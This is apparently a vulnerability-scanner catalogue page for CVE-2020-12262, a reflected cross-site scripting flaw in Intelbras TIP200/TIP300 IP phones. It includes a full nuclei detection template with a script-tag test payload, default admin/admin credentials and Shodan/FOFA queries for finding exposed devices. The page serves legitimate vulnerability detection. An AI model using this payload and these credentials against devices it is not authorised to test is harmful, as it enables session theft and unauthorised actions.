Intelbras TIP200/TIP200LITE/TIP300 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

Intelbras TIP200 60.61.75.15, TIP200LITE 60.61.75.15, and TIP300 65.61.75.15 are vulnerable to reflected cross-site scripting (XSS) via the page parameter in /cgi-bin/cgiServer.exx, allowing attackers to execute arbitrary JavaScript in the context of the user.

Impact

Authenticated attackers can inject malicious JavaScript through the page parameter, potentially stealing session cookies or performing unauthorized actions on behalf of authenticated users.

Fix

Update the device firmware to the latest version provided by Intelbras.

How to confirm it

Send: GET /cgi-bin/cgiServer.exx?page=<script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" and "File not found" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-12262 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-12262

info:
  name: Intelbras TIP200/TIP200LITE/TIP300 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Intelbras TIP200 60.61.75.15, TIP200LITE 60.61.75.15, and TIP300 65.61.75.15 are vulnerable to reflected cross-site scripting (XSS) via the page parameter in /cgi-bin/cgiServer.exx, allowing attackers to execute arbitrary JavaScript in the context of the user.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the page parameter, potentially stealing session cookies or performing unauthorized actions on behalf of authenticated users.
  remediation: |
    Update the device firmware to the latest version provided by Intelbras.
  reference:
    - https://lucxs.medium.com/cve-2020-12262-xss-voip-intelbras-d5697e31fbf6
    - https://www.youtube.com/watch?v=rihboOgiJRs
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12262
  classification:
    cve-id: CVE-2020-12262
    cwe-id: CWE-79
    epss-score: 0.01711
    epss-percentile: 0.77554
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
  metadata:
    max-request: 1
    product: tip300
    vendor: intelbras
    shodan-query: title:"Intelbras"
    fofa-query: title="Intelbras"
  tags: cve,cve2020,intelbras,tip200,tip200lite,tip300,xss,authenticated,vuln

variables:
  username: "admin"
  password: "admin"

http:
  - raw:
      - |
        GET /cgi-bin/cgiServer.exx?page=<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}

    skip-variables-check: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "File not found"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from